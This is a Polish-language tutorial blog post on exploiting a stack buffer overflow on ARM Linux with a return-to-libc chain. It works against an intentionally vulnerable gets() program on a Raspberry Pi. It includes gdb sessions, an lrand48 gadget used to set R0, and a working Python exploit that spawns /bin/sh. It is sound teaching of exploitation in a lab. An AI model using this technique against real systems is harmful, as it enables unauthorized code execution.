PL ARM – Return To Zero 1

6 minute read

Początek

Jeśli działasz w low level security lub zamierzasz zacząć (niedługo coś o tym napiszę) to pewnie gdzieś już słyszałeś o technice zwanej “Return to Libc” bądź też “Ret2libc”. Jest ona wykorzystywana do eksploitacji programów działających pod architekturą x86.

Nasuwa się następujące pytanie – czy dany atak moglibyśmy przenieść z powodzeniem na architekturę ARM, którą będziemy się zajmować w dalszej części niniejszej publikacji. Da się, ale do tego zagadnienia musimy podejść trochę inaczej z uwagi na fakt, że x86 i ARM to trochę dwie różne bajki. Musimy podejść twórczo.

Od tego momentu zrobi się bardziej technicznie dlatego też do zrozumienia problemu będziesz potrzebował w swojej głowie informacji z zakresu podstaw asemblera dla procesorów ARM a także podstaw związanych z debugowaniem programu w konkretnym środowisku (tutaj: gdb, linux).

Piaskownica

Aby móc testować musisz mieć postawione odpowiednie środowisko, które bardzo fajnie zostało opisane na tej stronie (swoją drogą jest tam również masa innych bardzo użytecznych informacji – ale o tym później). My oparliśmy swoje laboratorium testowe na Raspberry PI w wersji 2 z systemem Raspbian.

Na sam początek zapoznajmy się z kodem, na którym będziemy pracowali:

int main(int argc, char **argv)
{
    char buffer[64];
    gets(buffer);
}

Wyłączamy randomizację stosu i kompilujemy kod:

~$ echo 0 > /proc/sys/kernel/randomize_va_space
~$ gcc stack5.c -o stack5

Program pobiera ciąg znaków a następnie umieszcza je w zdefiniowanej do tego pamięci bez żadnej kontroli. Jest to typowa podatność przepełnienia stosu (buffer overflow), którą będziemy chcieli wykorzystać do naszych celów. Jeszcze przed rozpoczęciem analizy warto zapoznać się z pewnymi elementarnymi operacjami, które występują podczas “życia” typowej funkcji. Są nimi prolog oraz epilog.

Zobaczmy jak te operacje wyglądają w gdb:

~$ gdb stack5
gef> disas main

W momencie skoku do funkcji program zapisuje adres następnej instrukcji (po powrocie z funkcji) do rejestru LR. Adres umieszczony w LR razem z adresem znajdującym się w R11 (FP wskaźnik ramki stosu) i innymi danymi (np. zmienne lokalne) jest odkładany na stos. Opisana procedura nosi nazwę “prolog”.

Dwie ostatnie instrukcje:

~$ gdb stack5sub sp, r11, #4
pop {r11, pc}

to tzw. “epilog”. Rozpatrzymy teraz jak działa on w kontekście naszego programu:

# uruchom debugger
~$ gdb stack5
# pop {r11, pc}
# ustaw breakpoint na ostatnią instrukcję
# - adres możesz podejrzeć sobię listując funkcję main "disas main"
gef> break *0x00010468
# uruchom kod
gef> run
# podaj losowe dane i lecimy dalej
testdata
[enter]

Wynik:

Example image

Program wykonując operację “pop {r11, pc}” zdejmie te dwa adresy (0x00000000 oraz 0xb6e8f678) ze stosu i umieści je kolejno w rejestrach R11 i PC (na rysunku powyżej zakreślona jest ramka stosu). Dla przypomnienia rejestr PC – program counter inaczej licznik rozkazów zawierający adres aktualnie wykonywanej instrukcji. W powyższej sytuacji skok do adresu 0xb6e8f678 będzie skokiem do funkcji “exit” – program po pobraniu danych zakończy działanie.

Uruchom jeszcze raz program podając nieco dłuższy ciąg znaków:

gef> break *0x00010468
gef> run
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Wynik:

Example image

I stało się coś dziwnego. Wartość rejestrów PC oraz LR została nadpisana. Program próbuje odwołać się do obszaru pamięci, do której nie ma dostępu – 0x61616161 a to oznacza, że znaleźliśmy miejsce gdzie możemy przejąć kontrolę nad wykonywanym programem. Supi!!

Dobra tylko na czym więc polega trick, dzięki któremu da się wywołać shella na badanym sofcie?

Skoro mamy już kontrolę nad rejestrem PC, to może zamiast testowego adresu 0x61616161 wrzucić do niego adres funkcji “system” z parametrem “/bin/sh”, która uruchomi nam powłokę systemową? 🙂 Jest to jakiś pomysł.

Sam skok do “system” to tylko jeden z elementów ataku – musimy zatroszczyć się chociażby o to, aby umieścić jej parametr w odpowiednim miejscu w pamięci. Ważna informacja – jedną z różnic pomiędzy architekturami ARM oraz Intel jest nieco inny sposób wywołań funkcji. W ARM ogólnie działa to w ten sposób, że parametry funkcji pobierane są przed jej uruchomieniem z rejestrów ogólnego przeznaczenia np. z R0, R1, R2 itp.

Nakreślmy więc sobie w punktach nasz ogólny plan działania:

znaleźć w pamięci adresy do “/bin/sh” oraz funkcji “system” umieścić adres wskazujący na parametr “/bin/sh” w rejestrze R0 skoczyć do funkcji “system” Zanim przejdziemy do punktów, zerknijmy jeszcze (o ile już tego nie wiesz) jak wygląda z grubsza proces kompilacji programu na systemy linux. Kompilator w pierwszej kolejności przetwarza Twój kod i generuje plik zawierający instrukcje maszynowe w formacie *.o (lub *.obj) tzw. “object file”, który nie jest jeszcze wykonywalny przez system. Następnie Object file zostaje przetworzony przez tzw. linker, który tworzy wykonywalny program, gotowy do uruchomienia w systemie.

Podczas pisania kodu, programista często wykorzystuje różne funkcje, pochodzące z różnych dołączonych bibliotek, które to zostają “dołączone” do programu w procesie konsolidacji (wyróżniamy linkowanie statyczne lub dynamiczne). Tutaj znajdziesz dużo więcej informacji na temat całego procesu kompilacji.

Program, który wykorzystuje do działania standardową bibliotekę C (libc.so.6) ma także dostęp do innych funkcji zawartych w tej bibliotece. Przykład takiej funkcji na obrazku poniżej:

pi@raspberrypi:~/protostar $ ldd stack5
/usr/lib/arm-linux-gnueabihf/libarmmem.so (0xb6fb8000)
libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xb6e79000)
/lib/ld-linux-armhf.so.3 (0xb6fce000)

pi@raspberrypi:~/protostar $ objdump -d /lib/arm-linux-gnueabihf/libc.so.6 | grep system
00037154 <__libc_system@@GLIBC_PRIVATE>:
37158:	0a000000 	beq	37160 <__libc_system@@GLIBC_PRIVATE+0xc>
37160:	e59f0014 	ldr	r0, [pc, #20]	; 3717c <__libc_system@@GLIBC_PRIVATE+0x28>

Return to Zero w praktyce

Zacznijmy od zapoznania się ze składnią funkcji “system”:

int system(const char *command);

Jak widzisz, funkcja ta oczekuje jednego argumentu do wywołania – wskaźnika na ciąg znaków. W naszym przypadku chcemy wywołać powłokę systemową dlatego parametrem funkcji będzie ciąg “/bin/sh”.

Adresy szukanego parametru znajdziemy używając gdb + gef:

gef> search-pattern "/bin/sh"<br>
[+] Searching "/bin/sh" in memory<br>
[+] In "/lib/arm-linux-gnueabihf/libc-2.24.so"(0xb6e79000-0xb6fa2000), permission=r-x
0xb6f964d8 - 0xb6f964df ->  "/bin/sh"
gef> print &system
$1 = ( *) 0xb6eb0154

Teraz będzie zagadka. Odkryliśmy już pod jakim adresem znajduje się szukany parametr (0xb6f964d8) ale co należy zrobić aby wrzucić teraz ten adres do rejestru R0? Tutaj z pomocą przychodzi nam funkcja “lrand48” dostępna z obszaru bibliotek funkcji dołączonych podczas kompilacji programu.

Zobaczmy ją z bliska:

gef> disas lrand48
Dump of assembler code for function lrand48:
    0xb6ea7fb8 <+0>:	ldr	r1, [pc, #32]	; 0xb6ea7fe0
    0xb6ea7fbc <+4>:	push	{lr}		; (str lr, [sp, #-4]!)
    0xb6ea7fc0 <+8>:	add	r1, pc, r1
    0xb6ea7fc4 <+12>:	sub	sp, sp, #12
    0xb6ea7fc8 <+16>:	add	r2, sp, #4
    0xb6ea7fcc <+20>:	mov	r0, r1
    0xb6ea7fd0 <+24>:	bl	0xb6ea814c
    0xb6ea7fd4 <+28>:	ldr	r0, [sp, #4]
    0xb6ea7fd8 <+32>:	add	sp, sp, #12
    0xb6ea7fdc <+36>:	pop	{pc}		; (ldr pc, [sp], #4)
    0xb6ea7fe0 <+40>:	andseq	pc, r0, r0, lsr #5
End of assembler dump.

Zakreślony kod (a w szczególności “ldr r0, [sp, #4]”) to jest to czego szukamy. Skacząc w pierwszej kolejności do adresu 0xb6ea7fd4 instrukcja LDR (Load with immediate offset) spowoduje załadowanie wartości z rejestru SP powiększonego o 4 bajty do rejestru R0. Tą wartością będzie adres do “/bin/sh” umieszczony na stosie (a przesłany uprzednio w odpowiedniej kolejności przez exploita).

Tak naprawdę proces opisany powyżej nie jest taki skomplikowany 😉 Najlepiej będzie, jeśli prześledzisz sobie cały flow poniżej na ilustracji graficznej:

Example image

P1

Przepełnienie rejestru PC..

Example image

.. a następnie skok do funkcji “lrand48”. Możesz teraz zaobserwować działanie instrukcji “POP {R11, PC}”” i zmianę wartości rejestrów po jej wykonaniu.

Example image

P2

Ekstra. Jesteśmy krok od wywołania instrukcji LDR. Nasz payload zostaje zaktualizowany o odpowiednie wartości. Zwróć uwagę na “wypełniacz” (4 bajty “B”), który jest wymagany do tego aby adres “/bin/sh” został załadowany z odpowiedniego miejsca na stosie (adres SP + 4 bajty) do rejestru R0.

Example image

Ostatnim elementem naszej układanki jest skok do funkcji “system”. Aby dojść do tego, muszą zostać wykonane dalsze operacje zawarte w funkcji “lrand48”, w której aktualnie się znajdujemy. No to co tam mamy dalej..

“add sp, sp, 12” – z racji tego, że operacja ta przesuwa wskaźnik stosu o 12 bajtów (w zapisie heksadecymalnym – “c”) musimy dodać do naszego payloadu kolejnego “zapychacza” w postaci 4 bajtów (payload -> 4 * C) a dopiero po nim umieścić adres wskazujący na funkcję “system”.

“pop {pc}” – ta operacja jest dopełnieniem powyższego kroku. “Zdejmij adres ze stosu i wrzuć go do rejestru PC”, a dokładniej zdejmij adres funkcji “system”, na który wskazuje adres umieszczony w rejestrze SP. Uff..

Example image

#dziwnytenR2

The End. Nie pozostaje nam nic innego niż tylko zmontować sobie exploita np. w pythonie..

import struct

p = "\x41" * 68
p += struct.pack("<\I", 0xb6ea7fd4)
p += "\x42" * 4
p += struct.pack("<\I", 0xb6f964d8)
p += "\x43" * 4
p += struct.pack("<\I", 0xb6eb0154)

print(p)

Jeszcze tylko payload..

~$ python exploit.py > payload

To działamy..

~$ cat payload - | ./stack5
ls
stack5 stack5.c stack5.o

Sukces! Chociaż tak naprawdę podczas eksperymentów nie obyło się bez mniejszych lub większych problemów.

Tymczasem bardzo zapraszam Cię na rundę drugą, która jest dopełnieniem tego artykułu. Znajdziesz tam problemy jakie wystąpiły podczas researchu, sekcję FAQ i zagadkę.